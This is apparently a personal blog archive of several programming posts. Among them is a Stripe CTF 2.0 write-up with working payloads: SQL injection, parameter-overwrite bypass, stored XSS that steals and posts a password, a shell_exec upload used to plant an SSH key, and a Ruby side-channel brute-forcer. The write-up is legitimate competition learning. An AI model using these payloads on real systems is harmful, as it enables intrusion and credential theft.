Getting back into C

So I spend a lot of my time at my computer, it’s a fact of life as a computer science PhD student. However, while I may have a vim window open 90% of the time, more often than not there will be latex or matlab code in that vim window. Sometimes, if I get one of those rare lulls in deadlines, there may even be Ruby or Haskell code from when I’m learning or prototyping.

This, however, has made me incredibly lazy. I do no low level programming, know very limited assembler, and get spoiled rotten by higher level languages. How much work does my_hash["key"] = value do for me? Well, a lot.

To address this, I’m refreshing myself of my C knowledge and building basic abstract types. But, I’m doing it in a way which would make the most academically minded coder weep with glee in its abstraction and cleanliness – although possibly at the expense of speed. But, I’m an academic, I only need to be aware of speed, while making sure my code is clear enough for people to read and hopefully learn.

So far, I’ve blasted through stacks, queues, linked lists, and binary trees. There are still some utility functions to build with regards to the trees, but I’m engineering them to use function pointers and void * memory in order to not tie my data structures to types.

Currently the code is on GitHub and will be built up as I add more data structures. Hopefully I have time for tries, ropes, prefix trees, graphs, and example code of how to use them. Search algorithms and other classics are hopefully going in, with the aim to make a library not for performance, but for clarity and aid in teaching.

Feel free to email me suggestions and requests for algorithms.

Stripe-CTF 2.0

I managed to finish the Stripe CTF with 18 hours to spare and placed no. 702. I’m pretty happy with the result considering how little time I actually spent on it! My progress can be found here and you can see when I took days off!

Overall the competition was really enjoyable and the final hangout in the irc channel while my program was breaking the flag really made me feel part of the community.

I won’t publish this until the end of the deadline, but I’ll try to remember how I broke through each level and give the code I used:

Level 0

Very simple! A beginner SQL injection attack which leveraged the following line in the code:

var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
...

This essentially put namespace into the ‘?’ of the statement. My setting namespace to a wildcard (‘%’) the page dumped its data and the password to the next level.

Level 1

The task for this level was to guess a combination that was defined in a hidden file (“combination.txt” or similar) which would then unlock “password.txt” and output to a web page. The code which read in the combination looked like:

extract($_GET);
if (isset($attempt)) {
  $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      ...

The key thing I could exploit here was “extract($_GET)” which just created variables for what ever was in the GET params with no checks. Simply passing “&filename=&attempt=” as params got me past the if statement and the password was outputted.

Level 2

This level was referred back again and again, as you could upload files to it and execute code from a level02-*.stripe-stf.com domain. The idea was to get the contents of the file password.txt which was not accessible from the webserver. Uploading a .php file which read the contents of the file and echoed it worked by just browsing to “/uploads/getfile.php”

Level 3

This was the first level which was hard! I’d never really done a proper SQL injection before and it was quite satisfying to get working. The SQL injection point was:

query = """SELECT id, password_hash, salt FROM users
          WHERE username = '{0}' LIMIT 1""".format(username)

which meant that I was stuck with the start of the statement regardless, and the python-sql link didn’t allow multiple statements. I read up on SQL attacks and ended up using a combination of UNION and SELECT AS in order to inject my own data into the response. However, the only thing I could inject was an id, password_hash, and a salt. The id allowed me to spoof a user, and I could determine what my hash should be given a known salt. My injection was

' union select 1 as 'id', '961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506' as 'password_hash', 'a' as salt ; --

Which made the proper request to the database return nothing, and then I combined it with my own data, which was an id for 1, the SHA256 hash of “aa”, and a salt of a.

Putting the above in the username field and setting my password to ‘a’ I got authenticated. Then I just changed ids between 1-3 until I got the correct user.

N.B The secrets for the other users, which claimed to be either the solution to P=NP, and a plan for a perpetual motion device seemed to be generated from scigen

Level 4

This level was weird, and was  a JavaScript injection attack. The given website had a simple concept: users passed karma between each other. However, to show that they really trusted the user they were giving karma to, your password was shown to people who gave you karma. There was a system generated user called ‘karma_fountain’ whose password for the code to unlock the next level.

The inject route was: Set your password to some JavaScript, send karma to your prey, when they logon the JavaScript would execute. Luckily, karma_fountain logged in every minute and my password was set to (wrapped in script tags):

$.post('/user-izwsyuhfyt/transfer', { to: "karma", amount: "1"});

Level 5

This was black magic. It was solved near accidentally and then inspected to work out why.

Essentially you had to trick the system to think that it was receiving a command which solved the regex:

/[^w]AUTHENTICATED[^w]*$/

.However, the command had to be returned from a stripe-ctf domain, and to get the code the system had to think it came from a level5.stripe-ctf domain.

Using level 2, I uploaded a .php (.txt was forbidden in the webserver rules) which just echoed ” AUTHENTICATED”, and passing the address for that got me authenticated as a level02 domain. Now all I needed was to get it to authenticate as level05.

In the end, the url i gave it was itself, with the post parameters it needed for level2 in the get params.  Essentially this is what happened:

  1. Level5 posted to itself with a domain of level5.* and get params for level2 auth
  2. From this post the level2 auth were collected by the post param get functions
  3. Authed as level2
  4. Authed as level5

BLACK MAGIC

Level 6

This level was incredibly fiddly, but FireBug really helped with it. Essentially it was a blogging site, and there was an injection point in the blogroll. However, the database had a “safeInsert” method which dropped any data which had an apostrophe or quote in it. This just made it awkward.

The site had a “/user_info” page which a user could view their unsanitized user and password. The user which I needed to get the password from apparently has quotes and apostrophes in its password, so I also needed to sanitize them before getting them out of the system. The only way to do that would be to make my prey post their password.

So the exploit work flow is:

  1. GET /user_info
  2. Strip password and convert to character code
  3. POST this to /ajax/posts with a scraped ‘_csrf’ token to authenticate

This had to be done with no quotes or apostrophes so any strings were generated using String.fromCharCode(). Here’s the formatted exploit code I used:

$.get(String.fromCharCode(117,115,101,114,95,105,110,102,111), 
  function(response) { 
    var a = $(String.fromCharCode(60,100,105,118,47,62)).html(response).find(String.fromCharCode(46,115,112,97,110,49,50,32,116,100)).text();
    var u; 
    for(i=0;i<a.length;i++){u += String.fromCharCode(32) + a.charCodeAt(i)} 
    $.post( String.fromCharCode(97,106,97,120,47,112,111,115,116,115), 
      { 
        title: String.fromCharCode(88,83,83), 
        body: u, 
        _csrf: $(String.fromCharCode(102,111,114,109,35,110,101,119,95,112,111,115,116,32,105,110,112,117,116))[0].value 
      }); 
  } 
);

Level 7

I was given an API to a “WaffleCopter” service and had to request a premium waffle in order to get the password. I was not a premium user. Each request was signed with a SHA1 hash. They could be replayed.

After googling for SHA1 vulnerabilities and hanging around in the channel I discovered that there was a padding vulnerability in SHA1 and that were was a handy python script which would do all the work for you.

Combining this tool with a web request, I was able to use an old request from user 2 who ordered a “dream” premium waffle, add “&waffle=leige” to the end of the query and the magic python script worked out padding that got me the same signature as the original request!

Level 8

This was incredible and a nice mix of frustrating, hard, and madness.

Essentially: The flag was a 12 digit number, it was kept by a program which then split the password into 4 chunks and were held by separate instances. You interrogated the main instance of the passwordDb and it would ask the chunks if it was correct. the service would then reply {success: false/true}. You could also pass it a “webhook” which would get the results rather than the curl/browser call.

The server also only accepted data from a *.stripe-ctf.com domain.

So, first problem, I needed to get that password: The chunking was an advantage, as if I was brute forcing individual chunks I would only need a 10^3 search space 4 times, rather than 1 10^12 search space. this made brute forcing practical. While on a local instance of the server I could interrogate the chunk_servers individually, on the level8 server I did not have that option, so I needed the go through the primary_server.

Due to reflection magic, when a webhook is used and a chunk says a password chunk is wrong, it directly tells the webhook true/false. And the port which is used is dependent upon which chunk is replying! A port difference (from the port of your last request) of 2 meant chunk 1 had rejected your password, 3 meant chunk 2, and so on.

This gave a side channel style attack where you could sequentially increase each chunk depending on which chunk returned false. This meant you could break the flag in <= 4000 requests. Ace.

So, the second problem, getting access to a .stripe-ctf.com domain. The problem statement said that sshd was running.  Attempting the ssh in with your generated username failed due to no public key. Hmm. Uploading a php script with a simple form and a shell_exec command essentially gave me a poor mans command line and after much faffing was able to upload a public key, create a .ssh/ folder, and add my key to an authorized_keys file. Then I was in.

Running my cracker on the production server came up with some problems: the port differences were sometimes more than 5. I assume this was because of the amount of people on the server. I modified the program to ignore any weird port differences and keep trying until a sane one was found. The server was also INCREDIBLY SLOW. It took me about 3 and half hours to brute force my flag with the following:

require 'socket'
require 'net/https'

# Addresses of primary_server and webhook address
ENDPOINT = "https://level08-4.stripe-ctf.com/user-ianrhgpijr/"
WEBHOOK = "level02-3.stripe-ctf.com"

# current port and chunk values
last_port = -1
chunk1 = 0
chunk2 = 0
chunk3 = 0
chunk4 = 0

# Open webhook port
server = TCPServer.open(50001)
puts "[Server]:: listening on port #{server.addr[1]}"

# Until finished (practically forever on production)
while true

  # Start POST request to endpoint
  uri = URI(ENDPOINT)
  req = Net::HTTP::Post.new(uri.to_s)

  # Pad out to chunks of 3, with zeros
  password_chunk = "#{chunk1.to_s.rjust(3, '0')}#{chunk2.to_s.rjust(3, '0')}#{chunk3.to_s.rjust(3, '0')}#{chunk4.to_s.rjust(3, '0')}"

  # Build request
  req.body = "{"password": "#{password_chunk}", "webhooks": ["#{WEBHOOK}:#{server.addr[1]}"]}"

  http = Net::HTTP.new(uri.host, Net::HTTP.https_default_port)
  http.use_ssl = true 

  # Send request, we only really care about the response when it returns true
  http.start { |h| @response = h.request(req) }

  # Wait on webhook
  client = server.accept

  if (last_port != -1)

    # Get port difference
    diff = client.peeraddr[1] - last_port

    # Verbose is good on dodgy production server
    puts "[CHUNK]:: #{password_chunk} & port_diff = #{diff}"

    # Incerement chunks based on port difference
    if (diff == 2)
      chunk1 += 1

    elsif (diff == 3)
      chunk2 += 1

    elsif (diff == 4)
      chunk3 += 1

    elsif (diff == 5)
      chunk4 += 1
      # Last chunk, we can start checking the flag result!
      if (@response.body.include?('true'))
        # Woo got the flag
        puts "[FLAG]:: #{password_chunk}"
        break
      end
    end
  end
  last_port = client.peeraddr[1]

  client.close
end

Conclusions

All in all it was a brilliant competition to spend hours in distraction with. Looking forward to the next one (and my free t-shirt).

Android Maps and Routing

Very quick one here.

I’ve been trying to mapping, especially routing, working on an android application I’m developing. I will save you a lot of trouble and tell you to use the inbuilt Google services.

In fact, I found a gem of a post at http://smartandroidians.blogspot.co.uk/2010/06/showing-route-through-google-map-in.html which shows you how to open an intent for routing. I’ll add in some handy extras.

// Uri to open - this will work in your browser and is actually the uri that maps generates itself
Uri uri = Uri.parse("http://maps.google.com/maps?&saddr=" + userLocOverlayItem.routableAddress() + 
                    "&daddr=" + destinationOverlayItem.routableAddress() + 
                    "&dirflg=w");

// Create an intent to view the URI
Intent intent = new Intent(Intent.ACTION_VIEW, uri);

// [Bonus] Set the intent class as a map, so you can avoid an annoying pop up asking whether to
// open in the browser or maps
intent.setClassName("com.google.android.apps.maps", "com.google.android.maps.MapsActivity");

// Start the activity and close your launching activity
startActivity(intent);
finish();

I added a couple of things, as my application wanted walking directions and there was an annoying pop up asking what to open the URI with.
First, adding ...&dirflg=w to the URI forced walking directions.
Second, setting the intent’s class name as in the snippet set a hint to android for what to open the URI with [2].

This isn’t new, but it was hard to track down something clear via searching, so I’m consolidating.

References

[1] http://smartandroidians.blogspot.co.uk/2010/06/showing-route-through-google-map-in.html

[2] http://stackoverflow.com/questions/8132069/calling-google-map-using-intent?lq=1

SlimDX and Shaders – Constant Buffers

Setting up

Having played with a few GLSL shaders in C++, I thought that moving to a DirectX/HLSL solution sould be fairly simple.

Creating the most simple pixel shader was easy enough, and SlimDX is a decent wrapper for DX in C# – so after an hour or so I had the standard working triangle floating in space. I wanted to go further (obviously), and having spent the last few days delving into the demoscene and finding the most amazing site for pixelshader techniques (http://www.iquilezles.org/www/index.htm) I wanted to have a shader to work with (x,y) coordinates that were between (-1,1) rather than absolute screen coordinates.

This requires passing the current render area width and height to the shader to normalise with. This is done using Constant Buffers and on the shader side looks like:

 

cbuffer ConstBuffer : register(c0)
{
	float2 resolution;
}

// Simple vertex shader
float4 VShader(float4 position : POSITION) : SV_POSITION
{
	return position;
}

// Pixel shader
float4 PShader(float4 position : SV_POSITION) : SV_Target
{
        // Get normalised (x,y)
	float2 p = -1 +  2 * (position.xy/resolution);

        // Spikes in the corner
	float c = abs(p.x*p.y);
	return float4(c,c,c,1.0f);
}

 

To get the resolution variable into the register for the shader to use, you must create a ConstantBuffer in the program code and assign it to the shade. The Constant Buffer must be a size which is divisible by 16, so if your data is too small, just put it in a bigger buffer.

// Create data stream, we only need 8 bytes, but round up to 16
var resolution = new DataStream(16, true, true);
// Fill the stream with width/height info - I'm using a renderform
resolution.Write(new Vector2(form.ClientSize.Width, form.ClientSize.Height));
// Rewind the stream
resolution.Position = 0;
// Create and bind a buffer
context.PixelShader.SetConstantBuffer(new Buffer(device,     //Device
                                                 resolution, //Stream
                                                 16,         // Size
                                                 // Flags
                                                 ResourceUsage.Dynamic,
                                                 BindFlags.ConstantBuffer,
                                                 CpuAccessFlags.Write,
                                                 ResourceOptionFlags.None,
                                                 4),
                                      0); // Register

This lets us run the above shader, giving us:

Simple Shader results

 

Bonus

Having played on shader toy, I repurposed the Deform effect for a static image.

Shader:

cbuffer ConstBuffer : register(c0)
{
	float2 resolution;
}

// Simple vertex shader
float4 VShader(float4 position : POSITION) : SV_POSITION
{
	return position;
}

// Pixel shader
float4 PShader(float4 position : SV_POSITION) : SV_Target
{
        // Get normalised (x,y)
	float2 p = -1 +  2 * (position.xy/resolution);

        // Deform focus
	float2 m = float2(0.2f, 0.1f);

        // Deform
	float a1 = atan((p.y-m.y)/(p.x-m.x));
	float r1 = sqrt(dot(p-m,p-m));
	float a2 = atan((p.y+m.y)/(p.x+m.x));
	float r2 = sqrt(dot(p+m,p+m));

	float2 uv;
	uv.x = 0.2 + (r1-r2)*0.25;
	uv.y = sin(2.0*(a1-a2));

	float w = r1*r2*0.8;
	float c2 = abs(uv.x*uv.y);
	float4 col = float4(c2,c2,c2,1.0f);

	return float4(col.xyz/(0.1+w),1.0f);
}

Result:
Deform shader

Android development talk

On Thursday 10th May, I was asked to present a small talk on android development. I have not been coding android for very long, but I had learned enough to get background services working and activities not popping up where they should be. The slides won’t be as complete without my talk, but they should get the idea across.

The following is a very light overview of the tools at your disposal:

Viral Marketing

I’ve been slowly writing up a skills bank for the Lancaster Award and while finding something for organisation I came across the old working documents for a viral marketing campaign I ran in my first intro week as president of the Computing Society.

I was trying to attract more people to the academic side so I made a simple challenge that went up on posters around campus. The poster that was put up can be found here.

This led to a landing page which sadly is no longer available at the original URL as I no longer control the domain, however I have put it back up here (for those who wish to give the challenge a go, change the domain for http://cslu.co.uk to http://109.74.204.44).

I think overall we had 5 people email in and solve it, which wasn’t very many – but I remember there was a lot of talk wondering what the posters were about, and as they had our logo on them a fair amount of people turned up to the first meeting.

I think if I was to do it again, I wouldn’t say which society it was (there is still a lot of social stigma attached to computing societies) but would just put the date, time, and venue of the first meeting. A few different levels of challenge with prizes would be better too. The challenge was very easy and would fall very quickly when put up against the internet, but a university has a different make-up of population and not everyone who could easily solve mental challenges may want to do so at intro week.

It was quite exciting seeing the posters scattered everywhere though.

Academic site

When I joined the department, I copied my website of the time onto my departmental web space and forgot about it. Came across it today and it was full of dead links and old stuff, so I updated it to point to my new site.

I think it looks quite pretty now http://www.comp.lancs.ac.uk/~ellisc1/

 

Big displays and tabletops – the wrong approach?

The current model

Current research trends are in favour of large public displays, hidden projectors, and table top displays – Microsoft’s Surface being a prominent example along with the many research projects involving public displays.

A lot of these projects have options for multiple users operating the systems, in fact some are made only for collaboration in the workplace (Highwire’s CoffeeTable, and Intel’s What Do You Bring To the Table?). However, when systems are in a public setting, the use becomes more of a public service than a means for collaboration and when the users are acting independently great efforts are made to determine identity and facilitate independent interaction and data presentation.

The classic example of this is where you walk up to a public display in a university and the display shows your time-table.

In the above scenario, what happens when a display is surrounded by more than one person – say 5 people. Does it show 5 individual timetables? If 50 people approach the display does it show 50 timetables? That is impractical, so what is a fair way to display a crowds worth of information to a waiting crowd? It could be shown one at a time, but then who gets to see theirs first, and more importantly how does one recognise your own timetable if you can’t remember it in the first place? Does your name have to appear with the time-table? Will public users be comfortable with this scenario? What authentication methods are used for systems such as these, do users need to opt in, will these questions have the same answers for different displays?

If we ignore other issues except authentication, how does the display know who you are to display the relevant information? Read a unique ID from your phone, a smart card, or some other wireless unique device? How does this deal with phones being sold, or smart cards being lost? What happens if someone of a criminal nature got hold of young student’s ID card and started stalking the student? Is there a line of how public information must be before it appears on a public display? Even if the display is not in a completely public setting, say it is behind the security check point in a company, who decides the amount of information which is displayed on a screen? The user, or the programmer in charge of the presentation software? If authentication is required before information is shown on a display, does this not ruin the workflow of the display – and would this not also stop frantic late users from approaching the system?

With privacy being a current issue within society, do not public displays get relegated to becoming glorified billboards with the only personal information they will be allowed to show will be that which could be found on the public page of a person? Will the only use of these systems be for when one has lost their phone, and the display is currently free?

Currently I believe the only use of these systems will be gained from location-based advertising – where content is changed based on the demographic of people around it and the time of day.

A different model

If we are looking into the future (a trait which many scientists are likely to do) there is another model which is what I believe public interacting displays should be tending towards.

By dissecting the mission of a public display it can be seen that it encompasses two functions.

  1. Being a dedicated geographical point for a certain type of information or request,
  2. Having a method to display feedback to the user.

If we look to the future and imagine a hypothetical piece of hardware exists, we can remove point 2 from the list of needed functions – and remove a lot of privacy issues.

We have this technology – albeit in a crude way – at the moment. A personal screen. Currently, this tend to be a smart phone/device of some sort. These tend to have authentication when they are switched on, via a pass code. They even support banking systems which – one would hope – worry about the security of the device in question.

The limitations of these devices are their size and resolution. A personal screen of 4 inches isn’t brilliant, so let us create a hypothetical product to facilitate this model. Imagine a pair of glasses which could project upon its lenses virtual displays at any arbitrary projection and geometry to simulate real life displays. They could even be simulated on static points in the real world, needing a user to be close to it for it to be used – as in real life. The simulated displays would be displaying what ever the public display wanted to – by virtue of its number 1 function: being a dedicated geographical point for a certain type of information or request.

Let’s go back to the 50 people in front of a timetable billboard. With their own personal screen they would be seeing just their timetable, in an almost completely private setting – while still being surrounded by 49 other people. In fact, if wireless communication density is sufficiently high, it could replace conventional screens on desks, on phones, all together. With regards to public billboards though, advertisers would be able to get what they have always wanted – a message directly to who they want it to go to.

This is of course all conjecture, but I think it should be where the domain should be heading.

Code Golf

CSLU did code golf today. I did 1 and a half tasks, which were:

  1. Output the first 100 prime numbers
  2. Output e to 100 decimal places

Prime numbers

I’m quite proud of this, I managed to do this in 55 characters initially but then after some collaboration with the rest of the club shrunk it down to 49 characters

2.upto(541){|a|i=2;i+=1 while a%i>0;p a if i==a}

e

I never got his fully working as I ended up getting caught up in list comprehensions. Ended up with:

1 + sum [1 / (product [m | m<- [1..n] ]) | n <- [1..300] ]

 

Which is the same as e = sum_{n=0}^{infty } frac{1}{n!} and shows how pretty Haskell is.